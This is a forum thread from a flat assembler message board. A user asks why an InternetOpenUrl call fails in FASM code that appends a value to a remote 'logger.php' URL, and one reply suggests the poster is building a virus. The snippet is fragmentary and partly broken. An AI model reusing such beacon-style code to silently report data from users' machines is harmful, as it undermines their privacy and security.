flat assembler
Message board for the users of flat assembler.
 Home   FAQ   Search   Register 
 Profile   Log in to check your private messages   Log in 
flat assembler > Windows > InternetOpenUrl dont works

Author
Thread Post new topic Reply to topic
Apolo



Joined: 18 Mar 2017
Posts: 23
InternetOpenUrl dont works
Why InternetOpenUrl returns ERROR_SXS_KEY_NOT_FOUND (00002EE7)?

This is the code:

Code:

 invoke InternetGetConnectedState,Storage ,0
 cmp eax,0
 jz Lab1
 invoke strcpy,_urlTmp ,url
 invoke strcat_urlTmp ,sectorfound
 invoke InternetOpen,[sAgent], 0000
 mov [hConnect], eax
 invoke InternetOpenUrl, [hConnect],_urlTmp0,0,0,0
 mov [hUrl],eax
 invoke InternetCloseHandle,[hConnect]
 invoke InternetCloseHandle,[hUrl]
 ret

 Storage  dw 0,0
 sAgent   dd 0,0
 hConnect dd 0,0
 hUrl     dd 0,0
 url db  'http://site.oeg/logger.php',0
_urlTmp         db 2048 dup (0)
 

Post 08 Apr 2017, 05:09
View user's profile Send private message Reply with quote
Walter



Joined: 26 Jan 2013
Posts: 119
You don't show linkage for strcpy and strcat. But if these are C based functions, you should be using cinvoke. Perhaps the stack is not balanced.
Post 08 Apr 2017, 21:17
View user's profile Send private message Reply with quote
shutdownall



Joined: 02 Apr 2010
Posts: 518
Location: Munich
So how is your virus kit going on ?
Maybe you should buy a kit from the dark net, goes faster. Cool
Post 15 Apr 2017, 14:50
View user's profile Send private message Send e-mail Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >

Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001-2005 phpBB Group.

Main index   Download   Documentation   Examples   Message board
Copyright © 2004-2016, Tomasz Grysztar.